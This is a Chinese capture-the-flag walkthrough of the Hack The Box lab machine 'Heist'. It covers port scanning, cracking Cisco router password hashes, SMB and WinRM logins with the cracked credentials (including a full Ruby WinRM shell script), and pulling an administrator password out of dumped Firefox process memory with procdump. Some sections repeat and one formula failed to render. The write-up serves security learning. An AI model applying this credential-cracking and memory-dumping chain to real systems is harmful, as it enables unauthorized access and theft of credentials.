渗透测试 | HTB-Heist实战 – 作者:Setup

v2-29a2c0fc3c187e2191f0747884d3cc1f_1440

——————   昨日回顾  ——————  

红日安全出品|转载请注明来源

文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!(来源:红日安全)

渗透测试 | HTB-Luke实战

0 (1).jpeg

—————— —————— —————

01 信息收集

本次实验的靶机ip为

10.10.10.149

首先使用nmap进行端口扫描,粗略扫描开放了

80
135
445

三个端口

nmap 10.10.10.149

image.png

但是nmap工具如果不设置-p-参数,只会扫描部分低端口,使用全端口扫描命令,并识别端口运行的服务。发现目标开放了一个5985端口。

nmap -A -p- 10.10.10.149

image.png

02 Get User

首先访问80端口,发现该端口运行中http服务,打开之后是一个登录框。用户名的格式为邮箱形式,尝试SQL注入没有结果。发现页面下方有24 x 7 support,联想到CTF中的自动触发XSS的bot。没有注册和忘记密码界面,似乎无法做更多尝试。使用DirBuster爆破web目录,发现了attachment,js,和css三个目录,不能识别是否是某个CMS,似乎无法使用现有的CMS漏洞获取webshell。

image.png

点击 Login as guest 发现有HazardSupport Admin的聊天记录,其中Hazard还将自己的Cisco路由器的配置信息发了出来。进入attachment目录查看配置文件,发现其中暴露了三个加密的密码。

image.png

使用kali自带的hash identify无法鉴别此密码,鉴于用户提到了这个配置文件是Cisco路由器的配置文件,猜测此密码为Cisco路由器的密码加密模式。Cisco路由器的密码分为两种,一种为Type 5是不可逆的,一种为Type 7是可逆的。后两个密码开头为02的是Type 7密码,可以登陆此网址进行在线解密。将两个密码进行解密后的结果为

$uperP@ssword
Q4)sJu\Y8qz*A3?d

image.png

密码开头为<pre>不能识别此Latex公式:

 1</pre>的就是Type 5密码,我是用kali自带的破解神器hashcat来进行解密,字典选择的是rockyou.list。经过查询hashcat中支持破解Cisco的加密密码。

image.png

使用如下命令破解改密码,因为我已经破解过所以可以直接查看

hashcat -a 0 -m 500 -O Desktop/login.txt Downloads/rockyou.txt --force

image.png

现在我们有两个用户名和三个密码,此时脑洞一下,之前向管理员请求帮助的用户名叫Hazard,我把它也列入所知的用户名列表中。

image.png

使用smbclient连接靶机的445端口的smb服务,需要登录凭证来登陆,一次尝试上面的账号密码组合验证使用Hazard + stealth1agent的组合可以成功登陆,使用如下命令登陆,有三个共享目录其中的IPC$目录可以进入。

smbclient //10.10.10.149/IPC$ -U Hazard%stealth1agent

使用impacket工具中的lookupsid.py可以在smb服务中列出windows所有的用户,使用如下命令

shell
python /usr/share/doc/python-impacket/examples/lookupsid.py SERVER/Hazard:stealth1agent@10.10.10.149

image.png

现在我们获得了更多的用户,接下来在5985端口中运行的服务中使用ruby语言写的脚本winrm_shell.rb获取shell,需要使用一组登录凭证,从以下的组合中进行尝试。经过尝试Chase+Q4)sJu\Y8qz*A3?d的组合可以成功登陆。

image.pngimage.png

winrm_shell.rb**(此版本有upload功能)脚本内容如下

require 'winrm-fs'

# Author: Alamot
# To upload a file type: UPLOAD local_path remote_path
# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt

conn = WinRM::Connection.new(
  endpoint: 'http://10.10.10.149:5985/wsman',
  #user: 'Administrator',
  #password: '4dD!5}x/re8]FBuZ',
  user: 'Chase',
  password: 'Q4)sJu\Y8qz*A3?d',
)

file_manager = WinRM::FS::FileManager.new(conn) 


class String
  def tokenize
    self.
      split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/).
      select {|s| not s.empty? }.
      map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')}
  end
end


command=""

conn.shell(:powershelldo |shell|
    until command == "exit\n" do
        output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
        print(output.output.chomp)
        command = gets
        if command.start_with?('UPLOAD'then
            upload_command = command.tokenize
            print("Uploading " + upload_command[1] + " to " + upload_command[2])
            file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path|
                puts("#{bytes_copied} bytes of #{total_bytes} bytes copied")
            end
            command = "echo `nOK`n"
        end

        output = shell.run(command) do |stdout, stderr|
            STDOUT.print(stdout)
            STDERR.print(stderr)
        end
    end    
    puts("Exiting with code #{output.exitcode}")
end

使用如下命令登陆

ruby winrm_shell.rb

image.png

成功登陆,获得user。

03 Get Root

接下来就是windows提权,在这个靶机中大多数查看版本的命令都不能执行,例如systeminfo等等会显示Access denied。用tasklist命令查看正在运行的进程也无法执行,不过还好我们这里的ruby_shell是一个powershell。powershell是基于.NET的命令shell,可以把cmd当作它的子集,也就是说可以使用如ps或Get-Process等命令列出进程,发现有很多firefox的进程在运行。仔细联想一下如果Support Admin使用了firefox从web端登陆回答了Hazard的问题,那么会不会在firefox内存中留下密码呢?

Get-Process

image.png

这里需要使用procdump工具将跟firefox相关的进程dump出来。首先在靶机上是没有procdump工具的,我们需要利用power_shell的功能将本地的工具上传到靶机上。使用命令

powershell
UPLOAD ~/Tools/Procdump/procdump64.exe C:\Users\Chase\Documents\procdump64.exe

image.png

上传完毕之后查看我们刚才使用Get-Process命令查看的进程列表,将firefox相关的进程dump出来,使用如下命令

powershell
./procdump64 -ma processid --accepteula

上传完毕之后查看我们刚才使用Get-Process命令查看的进程列表,将firefox相关的进程dump出来,使用如下命令

powershell
./procdump64 -ma processid --accepteula

如下图,现在我们已经将所有的关于firefox的进程dump了出来,下一步就是要从这些内存文件中找到Support Admin登录记录

image.png

分析内存文件的方法有很多,在这里我们使用strings工具将dmp文件中的可打印字符串输出。在输出文件中查找password关键字,获得Support Admin登陆凭证4dD!5}x/re8]FBuZ。然后使用登陆密码在5985端口登陆,成功登陆超级管理员账号,rooted

image.png

01 信息收集

本次实验的靶机ip为

10.10.10.149

首先使用nmap进行端口扫描,粗略扫描开放了

80
135
445

三个端口

nmap 10.10.10.149

image.png

但是nmap工具如果不设置-p-参数,只会扫描部分低端口,使用全端口扫描命令,并识别端口运行的服务。发现目标开放了一个5985端口。

nmap -A -p- 10.10.10.149

image.png

banner.jpg

海量安全课程   点击以下链接   即可观看 

http://qiyuanxuetang.net/courses/

来源:freebuf.com 2020-04-02 11:09:23 by: Setup

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论